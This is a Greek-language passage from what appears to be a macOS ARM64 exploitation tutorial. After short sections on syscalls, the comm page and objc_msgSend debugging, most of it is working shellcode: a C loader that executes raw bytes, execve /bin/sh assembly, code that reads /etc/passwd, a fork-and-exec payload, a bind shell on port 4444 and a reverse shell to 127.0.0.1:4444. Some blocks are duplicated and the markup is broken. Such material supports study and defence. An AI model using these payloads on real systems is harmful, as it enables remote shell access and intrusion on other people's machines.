dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64

Μερικές φορές είναι πιο εύκολο να ελέγξετε τον αποκωδικοποιημένο κώδικα από το libsystem_kernel.dylib από τον έλεγχο του πηγαίου κώδικα επειδή ο κώδικας αρκετών συστοιχιών (BSD και Mach) δημιουργείται μέσω scripts (ελέγξτε τα σχόλια στον πηγαίο κώδικα), ενώ στο dylib μπορείτε να βρείτε τι καλείται.

κλήσεις machdep

Το XNU υποστηρίζει έναν άλλο τύπο κλήσεων που ονομάζονται εξαρτημένες από τη μηχανή. Ο αριθμός αυτών των κλήσεων εξαρτάται από την αρχιτεκτονική και ούτε οι κλήσεις ούτε οι αριθμοί είναι εγγυημένο ότι θα παραμείνουν σταθεροί.

σελίδα comm

Αυτή είναι μια σελίδα μνήμης ιδιοκτήτη του πυρήνα που αντιστοιχίζεται στον χώρο διεύθυνσης κάθε διεργασίας χρήστη. Έχει σκοπό να κάνει τη μετάβαση από τη λειτουργία χρήστη στον πυρήνα πιο γρήγορη από τη χρήση κλήσεων συστήματος για υπηρεσίες πυρήνα που χρησιμοποιούνται τόσο πολύ ώστε αυτή η μετάβαση θα ήταν πολύ αναποτελεσματική.

Για παράδειγμα, η κλήση gettimeofdate διαβάζει την τιμή του timeval απευθείας από τη σελίδα comm.

objc_msgSend

Είναι πολύ συνηθισμένο να βρείτε αυτήν τη συνάρτηση που χρησιμοποιείται σε προγράμματα Objective-C ή Swift. Αυτή η συνάρτηση επιτρέπει την κλήση μιας μεθόδου ενός αντικειμένου Objective-C.

Παράμετροι (περισσότερες πληροφορίες στα έγγραφα):

  • x0: self -> Δείκτης προς την περίπτωση

  • x1: op -> Επιλογέας της μεθόδου

  • x2... -> Υπόλοιπα ορίσματα της κληθείσας μεθόδου

Έτσι, αν τοποθετήσετε ένα σημείο ανακοπής πριν από το κλάδο αυτής της συνάρτησης, μπορείτε εύκολα να βρείτε τι καλείται στο lldb με (σε αυτό το παράδειγμα το αντικείμενο καλεί ένα αντικείμενο από NSConcreteTask που θα εκτελέσει μια εντολή):

(lldb) po $x0
<NSConcreteTask: 0x1052308e0>

(lldb) x/s $x1
0x1736d3a6e: "launch"

(lldb) po [$x0 launchPath]
/bin/sh

(lldb) po [$x0 arguments]
<__NSArrayI 0x1736801e0>(
-c,
whoami
)

Shellcodes

Για να μεταγλωτίσετε:

as -o shell.o shell.s
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib

# You could also use this
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem

Για να εξάγετε τα bytes:

# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done

Για νεότερα macOS:

# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/fc0742e9ebaf67c6a50f4c38d59459596e0a6c5d/helper/extract.sh
for s in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n $s | awk '{for (i = 7; i > 0; i -= 2) {printf "\\x" substr($0, i, 2)}}'
done
Κώδικας C για να δοκιμάσετε το shellcode

```c // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader #include #include #include #include

int (*sc)();

char shellcode[] = "";

int main(int argc, char **argv) { printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));

void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);

if (ptr == MAP_FAILED) { perror("mmap"); exit(-1); } printf("[+] SUCCESS: mmap\n"); printf(" |-> Return = %p\n", ptr);

void *dst = memcpy(ptr, shellcode, sizeof(shellcode)); printf("[+] SUCCESS: memcpy\n"); printf(" |-> Return = %p\n", dst);

int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);

if (status == -1) { perror("mprotect"); exit(-1); } printf("[+] SUCCESS: mprotect\n"); printf(" |-> Return = %d\n", status);

printf("[>] Trying to execute shellcode...\n");

sc = ptr; sc();

return 0; }

</details>

#### Shell

Προέρχεται από [**εδώ**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) και εξηγείται.

<div data-gb-custom-block data-tag="tabs">

<div data-gb-custom-block data-tag="tab" data-title='με adr'>

```armasm
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main         ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2              ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).

_main:
adr  x0, sh_path  ; This is the address of "/bin/sh".
mov  x1, xzr      ; Clear x1, because we need to pass NULL as the second argument to execve.
mov  x2, xzr      ; Clear x2, because we need to pass NULL as the third argument to execve.
mov  x16, #59     ; Move the execve syscall number (59) into x16.
svc  #0x1337      ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.

sh_path: .asciz "/bin/sh"
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main         ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2              ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).

_main:
; We are going to build the string "/bin/sh" and place it on the stack.

mov  x1, #0x622F  ; Move the lower half of "/bi" into x1. 0x62 = 'b', 0x2F = '/'.
movk x1, #0x6E69, lsl #16 ; Move the next half of "/bin" into x1, shifted left by 16. 0x6E = 'n', 0x69 = 'i'.
movk x1, #0x732F, lsl #32 ; Move the first half of "/sh" into x1, shifted left by 32. 0x73 = 's', 0x2F = '/'.
movk x1, #0x68, lsl #48   ; Move the last part of "/sh" into x1, shifted left by 48. 0x68 = 'h'.

str  x1, [sp, #-8] ; Store the value of x1 (the "/bin/sh" string) at the location `sp - 8`.

; Prepare arguments for the execve syscall.

mov  x1, #8       ; Set x1 to 8.
sub  x0, sp, x1   ; Subtract x1 (8) from the stack pointer (sp) and store the result in x0. This is the address of "/bin/sh" string on the stack.
mov  x1, xzr      ; Clear x1, because we need to pass NULL as the second argument to execve.
mov  x2, xzr      ; Clear x2, because we need to pass NULL as the third argument to execve.

; Make the syscall.

mov  x16, #59     ; Move the execve syscall number (59) into x16.
svc  #0x1337      ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
; From https://8ksec.io/arm64-reversing-and-exploitation-part-5-writing-shellcode-8ksec-blogs/
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main         ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2              ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).

_main:
adr  x0, sh_path  ; This is the address of "/bin/sh".
mov  x1, xzr      ; Clear x1, because we need to pass NULL as the second argument to execve.
mov  x2, xzr      ; Clear x2, because we need to pass NULL as the third argument to execve.
mov  x16, #59     ; Move the execve syscall number (59) into x16.
svc  #0x1337      ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.

sh_path: .asciz "/bin/sh"

Διάβασμα με την εντολή cat

Ο στόχος είναι να εκτελεστεί η εντολή execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL), οπότε το δεύτερο όρισμα (x1) είναι ένας πίνακας παραμέτρων (ο οποίος στη μνήμη αυτό σημαίνει ένα σωρό με τις διευθύνσεις).

.section __TEXT,__text     ; Begin a new section of type __TEXT and name __text
.global _main              ; Declare a global symbol _main
.align 2                   ; Align the beginning of the following code to a 4-byte boundary

_main:
; Prepare the arguments for the execve syscall
sub sp, sp, #48        ; Allocate space on the stack
mov x1, sp             ; x1 will hold the address of the argument array
adr x0, cat_path
str x0, [x1]           ; Store the address of "/bin/cat" as the first argument
adr x0, passwd_path    ; Get the address of "/etc/passwd"
str x0, [x1, #8]       ; Store the address of "/etc/passwd" as the second argument
str xzr, [x1, #16]     ; Store NULL as the third argument (end of arguments)

adr x0, cat_path
mov x2, xzr            ; Clear x2 to hold NULL (no environment variables)
mov x16, #59           ; Load the syscall number for execve (59) into x8
svc 0                  ; Make the syscall


cat_path: .asciz "/bin/cat"
.align 2
passwd_path: .asciz "/etc/passwd"

Καλέστε την εντολή με το sh από ένα fork ώστε η κύρια διεργασία να μην τερματιστεί

.section __TEXT,__text     ; Begin a new section of type __TEXT and name __text
.global _main              ; Declare a global symbol _main
.align 2                   ; Align the beginning of the following code to a 4-byte boundary

_main:
; Prepare the arguments for the fork syscall
mov x16, #2            ; Load the syscall number for fork (2) into x8
svc 0                  ; Make the syscall
cmp x1, #0             ; In macOS, if x1 == 0, it's parent process, https://opensource.apple.com/source/xnu/xnu-7195.81.3/libsyscall/custom/__fork.s.auto.html
beq _loop              ; If not child process, loop

; Prepare the arguments for the execve syscall

sub sp, sp, #64        ; Allocate space on the stack
mov x1, sp             ; x1 will hold the address of the argument array
adr x0, sh_path
str x0, [x1]           ; Store the address of "/bin/sh" as the first argument
adr x0, sh_c_option    ; Get the address of "-c"
str x0, [x1, #8]       ; Store the address of "-c" as the second argument
adr x0, touch_command  ; Get the address of "touch /tmp/lalala"
str x0, [x1, #16]      ; Store the address of "touch /tmp/lalala" as the third argument
str xzr, [x1, #24]     ; Store NULL as the fourth argument (end of arguments)

adr x0, sh_path
mov x2, xzr            ; Clear x2 to hold NULL (no environment variables)
mov x16, #59           ; Load the syscall number for execve (59) into x8
svc 0                  ; Make the syscall


_exit:
mov x16, #1            ; Load the syscall number for exit (1) into x8
mov x0, #0             ; Set exit status code to 0
svc 0                  ; Make the syscall

_loop: b _loop

sh_path: .asciz "/bin/sh"
.align 2
sh_c_option: .asciz "-c"
.align 2
touch_command: .asciz "touch /tmp/lalala"

Δέστε το κέλυφος

Δέστε το κέλυφος από https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s στη θύρα 4444

.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov  x16, #97
lsr  x1, x16, #6
lsl  x0, x1, #1
mov  x2, xzr
svc  #0x1337

// save s
mvn  x3, x0

call_bind:
/*
* bind(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
*     __uint8_t       sin_len;     // sizeof(struct sockaddr_in) = 0x10
*     sa_family_t     sin_family;  // AF_INET = 2
*     in_port_t       sin_port;    // 4444 = 0x115C
*     struct  in_addr sin_addr;    // 0.0.0.0 (4 bytes)
*     char            sin_zero[8]; // Don't care
* };
*/
mov  x1, #0x0210
movk x1, #0x5C11, lsl #16
str  x1, [sp, #-8]
mov  x2, #8
sub  x1, sp, x2
mov  x2, #16
mov  x16, #104
svc  #0x1337

call_listen:
// listen(s, 2)
mvn  x0, x3
lsr  x1, x2, #3
mov  x16, #106
svc  #0x1337

call_accept:
// c = accept(s, 0, 0)
mvn  x0, x3
mov  x1, xzr
mov  x2, xzr
mov  x16, #30
svc  #0x1337

mvn  x3, x0
lsr  x2, x16, #4
lsl  x2, x2, #2

call_dup:
// dup(c, 2) -> dup(c, 1) -> dup(c, 0)
mvn  x0, x3
lsr  x2, x2, #1
mov  x1, x2
mov  x16, #90
svc  #0x1337
mov  x10, xzr
cmp  x10, x2
bne  call_dup

call_execve:
// execve("/bin/sh", 0, 0)
mov  x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str  x1, [sp, #-8]
mov	 x1, #8
sub  x0, sp, x1
mov  x1, xzr
mov  x2, xzr
mov  x16, #59
svc  #0x1337

Αντίστροφο κέλυφος

Από https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s, revshell σε 127.0.0.1:4444

.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov  x16, #97
lsr  x1, x16, #6
lsl  x0, x1, #1
mov  x2, xzr
svc  #0x1337

// save s
mvn  x3, x0

call_connect:
/*
* connect(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
*     __uint8_t       sin_len;     // sizeof(struct sockaddr_in) = 0x10
*     sa_family_t     sin_family;  // AF_INET = 2
*     in_port_t       sin_port;    // 4444 = 0x115C
*     struct  in_addr sin_addr;    // 127.0.0.1 (4 bytes)
*     char            sin_zero[8]; // Don't care
* };
*/
mov  x1, #0x0210
movk x1, #0x5C11, lsl #16
movk x1, #0x007F, lsl #32
movk x1, #0x0100, lsl #48
str  x1, [sp, #-8]
mov  x2, #8
sub  x1, sp, x2
mov  x2, #16
mov  x16, #98
svc  #0x1337

lsr  x2, x2, #2

call_dup:
// dup(s, 2) -> dup(s, 1) -> dup(s, 0)
mvn  x0, x3
lsr  x2, x2, #1
mov  x1, x2
mov  x16, #90
svc  #0x1337
mov  x10, xzr
cmp  x10, x2
bne  call_dup

call_execve:
// execve("/bin/sh", 0, 0)
mov  x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str  x1, [sp, #-8]
mov	 x1, #8
sub  x0, sp, x1
mov  x1, xzr
mov  x2, xzr
mov  x16, #59
svc  #0x1337

Last updated